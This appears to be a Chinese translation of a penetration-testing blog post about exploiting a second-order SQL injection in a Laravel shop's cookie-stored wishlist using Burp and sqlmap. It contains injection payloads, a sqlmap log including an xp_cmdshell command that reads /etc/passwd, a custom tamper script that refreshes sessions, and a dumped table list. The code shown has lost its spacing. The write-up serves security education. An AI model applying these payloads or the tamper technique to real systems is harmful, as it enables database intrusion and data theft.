Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】如何借助Burp和SQLMap Tamper利用二次注入

0
0
【技术分享】如何借助Burp和SQLMap Tamper利用二次注入

2017-08-03 13:48:08

阅读:519次
点赞(0)
收藏
来源: pentest.blog





【技术分享】如何借助Burp和SQLMap Tamper利用二次注入

作者:eridanus96





【技术分享】如何借助Burp和SQLMap Tamper利用二次注入

译者:eridanus96

预估稿费:160RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


Web应用已经从简单的脚本逐渐发展成完整的页面应用程序,然而越复杂的Web应用就越容易出现不同类型的安全漏洞,其中的一种就是二次注入漏洞。攻击payload首先被Web服务器上的应用存储,随后又在关键操作中被使用,这便被称为二次注入漏洞。

我们知道,在任何地方都可能会出现二次注入漏洞。不仅仅是在同一应用中,使用了相同数据源的不同Web应用也可能会出现这一漏洞。因此,我们几乎没办法通过自动扫描来检测到它们。

本文将以某商城网站为例,尝试借助Burp Suite和SQLMap Tamper利用二次注入。


手工渗透方法

渗透能否成功,往往取决于我们对目标的理解程度。因此,我通常会像普通用户一样花一两天的时间在我的目标上,以理解其整个工作流程。在做每件事情和提交表单时,我会尝试遵循表单域的命名约定。

为主模块(例如发票、新闻、费用信息等,通常是在导航栏看到的内容)设置一个关键字。

假如说我们正在浏览“门票”模块,并且表单需要提供一个名称和电子邮件地址。

用户名:johnticket1

邮件:johnticket1@yopmail.com

这样有助于跟踪数据的来源,如果我们在渗透过程中(一个APP的渗透通常需要5-6天时间),看到johnticket1在其他地方出现,那么我们就知道了攻击的目标是哪个向量。


第一阶段:检测

在浏览目标时,我在Burp Suite的日志中看到了这样的请求和响应:

GET/wishlist/add/9HTTP/1.1 Host:targetwebapp User-Agent:Mozilla/5.0(windowsNT10.0;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/47.0.2526.73Safari/537.36 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language:en-US,en;q=0.5 Referer:http://targetwebapp/ Cookie:XSRF-TOKEN=eyJpdiI6ImVmODhzTFRXV0wrdkRVV05MVTdyQ3c9PSIsInZhbHVlIjoiYWN1ZkkwRk1WMjZycTdDRjdSZFVuN3VKR3ZGQUpTWWZyYWNURmcyMzZtY1Zlc25vUDhvdk5xaFhHbXZidEUyalA2eUl4aDQzakhBQmNpWGtsN1lNXC9nPT0iLCJtYWMiOiIxZTAxOGU5YTVjZTY1NDdmNTFlNmMzZWRjNTM5M2Y3YTJiNTIyZjk0NThlZDgwYWExYjc1YjJmOWRiYWQyM2MxIn0%3D;session=eyJpdiI6ImdudzFVTGlNem1CYzlGUlY1aG1Xbnc9PSIsInZhbHVlIjoiMFZcL2ZHZTRDejlyUGlwbG5zNW5mNHpvYUZMdVFHUjVQVkpOZkI5M1UrazArMThDSzRiSURac0FmdTBpd0hXaFN5OVAxdytvMFhVNzhadzN1dU5NM013PT0iLCJtYWMiOiIyYWEzOWI5NWM4ZDBhNmQ1NzQ1NzA3ZjkwY2Q5NzI5NTc2MWU4NDk4YWY3OTkzMGM5ZmQ2YjBlYjFkMmNlZjIxIn0%3D X-Forwarded-For:127.0.0.1 True-Client-Ip:127.0.0.1 Connection:close Upgrade-Insecure-Requests:1 ---- HTTP/1.1302Found Date:Tue,01Aug201707:31:12GMT Server:Apache/2.4.18(Ubuntu) Cache-Control:no-cache,private Location:http://targetwebapp/ Set-Cookie:XSRF-TOKEN=eyJpdiI6IjlVXC9XSWtobkdHT0tlZDNhKzZtUW5nPT0iLCJ2YWx1ZSI6Ijg3enBCSHorT1pcLzBKVVVsWDJ4akdEV1lwT2N0bUpzdDNwbmphM3VmQndheDRJZDQ3SWJLYzJ6blFQNHppYytPQzVZNGcxWVdQVlVpWm1MVDFNRklXQT09IiwibWFjIjoiZWRmYjAwYjgzYWQ1NWQyMWM1ZWQ2NjRjMThlZmI3NjQ4ODVkNWE0YWEyZTBhYzRkMjRkOWQ2MmQ4OTA0NDg3YyJ9;expires=Tue,01-Aug-201709:31:12GMT;Max-Age=7200;path=/ Set-Cookie:session=eyJpdiI6IkpMdzdJSEE3NndnUXI2NXh0enJYNXc9PSIsInZhbHVlIjoiMkNhek8wXC9FUHQ1bzhjbnMrbHpJWXBjTGhhQTFCM3kyQjI4bTFHRHZkKzZNK2NvSGtwQUZJcWxTeEFHREdEOFBiWVwvVFNyZTNEVlNyRTFlRGMrRlZKZz09IiwibWFjIjoiYTA2ZjlmZTVkYWM3MTc4ODE5Y2VmNmFkNTMzYjYyOTNmZjUxOGRkYjhkYzJmYThhYWM4OTNkNzg4MTliZjVkMSJ9;expires=Tue,01-Aug-201709:31:12GMT;Max-Age=7200;path=/;HttpOnly Content-Length:324 Connection:close Content-Type:text/html;charset=UTF-8 <!DOCTYPEhtml> <html> <head> <metacharset="UTF-8"/> <metahttp-equiv="refresh"content="1;url=http://targetwebapp/"/> <title>Redirectingtohttp://targetwebapp/</title> </head> <body> Redirectingto<ahref="http://targetwebapp/">http://targetwebapp/</a>. </body> </html>

我正在向wishlist中添加一个产品。这一操作完成后,应用程序会重定向回主页。如果浏览另一个模块(/wishlist/),就可以看到这个产品的详细信息。

值得注意的是,我们在HTTP响应中看到了一个新的Set-Cookie参数。为了验证,我又尝试在wishlist中添加了几个不同的产品,结果每个请求都得到了新的Set-Cookie。

由此可知:在没有登录的前提下,应用程序能够跟踪我添加的产品;当我用不同的ID重复上述请求,我都会得到Set-Cookie。

现在,已经可以分析出,应用程序在我的cookie中存储了产品的ID值,并在将其发回我之前进行了加密。至此,我认为我的目标是一个Laravel的应用程序,原因在于其XSRF-TOKEN cookie名称和cookie加密都是Laravel框架默认的设定。

在这里,最重要的是要知道:我通过/wishlist/add/<id>提交的任何内容,都会存储在我加密后的cookie里。如果我浏览/wishlist/路径,应用程序接下来的步骤是:

获取cookie;

解密cookie;

获取来自cookie数据的wishlist数组;

在查询中使用此数组;

显示所需产品的详细信息。


第二阶段:自动化工具问题

事实上,无论是Burp还是Netsparker都无法检测到这一SQL注入。为了让大家更清晰地了解这一点,下面是自动化工具的通用工作流程:

登录应用,或者使用提供的cookie;

发送/wishlist/add/9" and 1=1 -- 或 /wishlist/add/9'or 1=1-- 或 /wishlist/add/9' OR SLEEP(25)=0 LIMIT 1--等有效载荷;

计算请求与响应之间的时间间隔;

对HTTP响应的body进行分析;

等待外部请求。

从上述流程可以看到,扫描器不会看到HTTP响应正文的任何不同。同时,响应和请求之间并不会有太大的时间间隔。应用程序只需将输入内容储存到其他地方(在这里是将cookie加密)。

当扫描器扫描过每一个单独的URL后,会开始访问SQL查询执行的位置,即/wishlist/。但是,由于其具有多个SQL payload,工具已经打乱了SQL结构,因此将只能看到HTTP 500错误。


第三阶段:让SQLMAP再显神威

下面是SQLMap生成的前五个HTTP请求,特别是前两个一直保持不变。

~pythonsqlmap.py-r/tmp/r.txt--dbmsmysql--second-order"http://targetapp/wishlist"-v3 [11:48:57][PAYLOAD]KeJH=9030AND1=1UNIONALLSELECT1,NULL,'<script>("XSS")</script>',table_nameFROMinformation_schema.tablesWHERE2>1--/**/;EXECxp_cmdshell('cat../../../etc/passwd')# [11:48:57][DEBUG]gotHTTPerrorcode:500(InternalServerError) [11:48:57][INFO]testingifthetargetURLisstable [11:48:58][DEBUG]gotHTTPerrorcode:500(InternalServerError) [11:48:58][WARNING]URIparameter'#1*'doesnotappeartobedynamic [11:48:58][PAYLOAD]9(..,)),('" [11:48:58][DEBUG]gotHTTPerrorcode:500(InternalServerError) [11:48:58][WARNING]heuristic(basic)testshowsthatURIparameter'#1*'mightnotbeinjectable [11:48:58][PAYLOAD]9'AGZHkY<'">Bubyju [11:48:59][DEBUG]gotHTTPerrorcode:500(InternalServerError) [11:48:59][INFO]testingforSQLinjectiononURIparameter'#1*' [11:48:59][INFO]testing'ANDboolean-basedblind-WHEREorHAVINGclause' [11:48:59][PAYLOAD]9)AND3632=7420AND(3305=3305 [11:48:59][DEBUG]gotHTTPerrorcode:500(InternalServerError) [11:48:59][PAYLOAD]9)AND3274=3274AND(6355=6355 [11:49:00][DEBUG]gotHTTPerrorcode:500(InternalServerError) [11:49:00][PAYLOAD]9AND5896=8011 [11:49:00][DEBUG]gotHTTPerrorcode:500(InternalServerError) [11:49:00][PAYLOAD]9AND3274=3274 [11:49:01][DEBUG]gotHTTPerrorcode:500(InternalServerError) [11:49:01][PAYLOAD]9')AND9747=4557AND('xqFU'='xqFU [11:49:01][DEBUG]gotHTTPerrorcode:500(InternalServerError) [11:49:01][PAYLOAD]9')AND3274=3274AND('JoAB'='JoAB [11:49:01][DEBUG]gotHTTPerrorcode:500(InternalServerError) [11:49:01][PAYLOAD]9'AND6443=5019AND'zuGP'='zuGP [11:49:02][DEBUG]gotHTTPerrorcode:500(InternalServerError) [11:49:02][PAYLOAD]9'AND3274=3274AND'iWaC'='iWaC

我们仔细研究前两个payload,会发现SQLMap在尝试检测WAF,然后被应用程序强制进行编码。随后,通过不断发送payload,试图找出SQL查询的语法形式。但问题在于,所有这些payload将被存储在cookie上,这就意味着每当SQLMap进行二次注入,都会出现HTTP 500错误。还有,第一个请求已经弄乱了SQL语法,这导致SQLMap的其他攻击将会出现问题。

因此,我们需要为SQLMap生成的每一个HTTP请求提供一个新的会话。我通过自定义的tamper脚本解决了这一问题。

下列HTTP请求和响应是我们强制应用程序启动新会话的方法:

GET/HTTP/1.1 Host:targetwebapp User-Agent:Mozilla/5.0(WindowsNT10.0;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/47.0.2526.73Safari/537.36 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language:en-US,en;q=0.5 X-Forwarded-For:127.0.0.1 True-Client-Ip:127.0.0.1 Connection:close Upgrade-Insecure-Requests:1 --- HTTP/1.1200OK Date:Tue,01Aug201706:31:36GMT Server:Apache/2.4.18(Ubuntu) Cache-Control:no-cache,private Set-Cookie:XSRF-TOKEN=eyJpdiI6IkIyb0o5TjJ1TTMzcVBseE9mOGFYK1E9PSIsInZhbHVlIjoiemR2V2d1b2xvZ1JcL3I5M0VsV2sxUGR0N2tRYkFPK2FwQ2lZc0xFV25iUkhrWVFjK3VscUJSRFNiekdnQ3VJZVVCa0RJQ0czbVNxMVdSSyt4cXkxbWtnPT0iLCJtYWMiOiIyYmE1YTQyZTAzMDYzNTQ3ZDk0OTkxN2FjMDg5YmMzNzVkOGUxODVmZTVhY2M0MGE4YzU1Yzk4MDE2ODlmMzUwIn0%3D;expires=Tue,01-Aug-201708:31:36GMT;Max-Age=7200;path=/ Set-Cookie:session=eyJpdiI6InZqcVk1UWtFOStOMXJ6MFJ4b2JRaFE9PSIsInZhbHVlIjoidGJ0VFJ2VXpqY1hnQ2xXYkxNb2k5QWltRDFTRlk2RmJkQ0RIcWdMYVg2NDZlR0RnTXRSWXVWM3JTOWVxajl5R08wb0RydlhKWkZSMGYrNnF3RjBrSEE9PSIsIm1hYyI6IjYwZWRmZGQ1ODEzODJkZDFmNDIzNmE3ZWYzMDc1MTU5MTI3ZWU4MzVhMjdjN2Q0YjE0YmVkZWYzZGJkMjViNDEifQ%3D%3D;expires=Tue,01-Aug-201708:31:36GMT;Max-Age=7200;path=/;HttpOnly Vary:Accept-Encoding Connection:close Content-Type:text/html;charset=UTF-8 Content-Length:22296

它可以执行如下步骤:

将请求发送到主页,而不提供任何cookie;

解析Set-Cookie并获取XSRF-TOKEN和SESSION;

更新由SQLMap生成的HTTP请求;

对于每一次SQLMap的检测,都会有一个新的SESSION,当SQLMap在发送payload后尝试/wishlist/时,从/wishlist/得到的响应将只与前一个payload相对应。

在此,我建议你使用https://github.com/h3xstream/http-script-generator的工具,作者是Philippe Arteau,这一扩展脚本可以重新生成指定的请求。


【技术分享】如何借助Burp和SQLMap Tamper利用二次注入

下面是我的SQLMap tamper模块,它向主页发送HTTP请求并检索新的cookie值,最后会更新SQLMap生成的HTTP请求的cookie值。

#!/usr/bin/envpython """ Copyright(c)2006-2017sqlmapdevelopers(http://sqlmap.org/) Seethefile'doc/COPYING'forcopyingpermission """ importrequests fromlib.core.enumsimportPRIORITY fromrandomimportsample __priority__=PRIORITY.NORMAL defdependencies(): pass defnew_cookie(): session=requests.Session() headers={"User-Agent":"Mozilla/5.0(WindowsNT10.0;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/47.0.2526.73Safari/537.36","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1"} response=session.get("http://targetwebapp/",headers=headers) XSRF_TOKEN=response.headers['Set-Cookie'].split(';')[0] SESSION=response.headers['Set-Cookie'].split(';')[3].split(',')[1].replace("","") return"Cookie:{0};{1}".format(XSRF_TOKEN,SESSION) deftamper(payload,**kwargs): headers=kwargs.get("headers",{}) headers["Cookie"]=new_cookie() returnpayload sqlmapgit:(master)pythonsqlmap.py-r/tmp/r.txt--dbmsMySQL--second-order"http://targetapp/wishlist"--tamper/tmp/durian.py ... Database:XXX [12tables] +------------------------------------------------------+ |categories| |comments| |coupon_user| |coupons| |migrations| |order_product| |orders| |password_resets| |products| |subscribers| |user_addresses| |users| +------------------------------------------------------+

经验

可以使用自动扫描器,但不要轻易相信它的结果。

如果可能,请让有能力的人对应用进行手动渗透。

如果你是渗透测试者,请牢记:是你进行了渗透测试,而不是工具,工具只是一个辅助。

有一个好思路非常关键。




【技术分享】如何借助Burp和SQLMap Tamper利用二次注入
【技术分享】如何借助Burp和SQLMap Tamper利用二次注入
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/

Viewing all articles
Browse latest Browse all 12749




Latest Images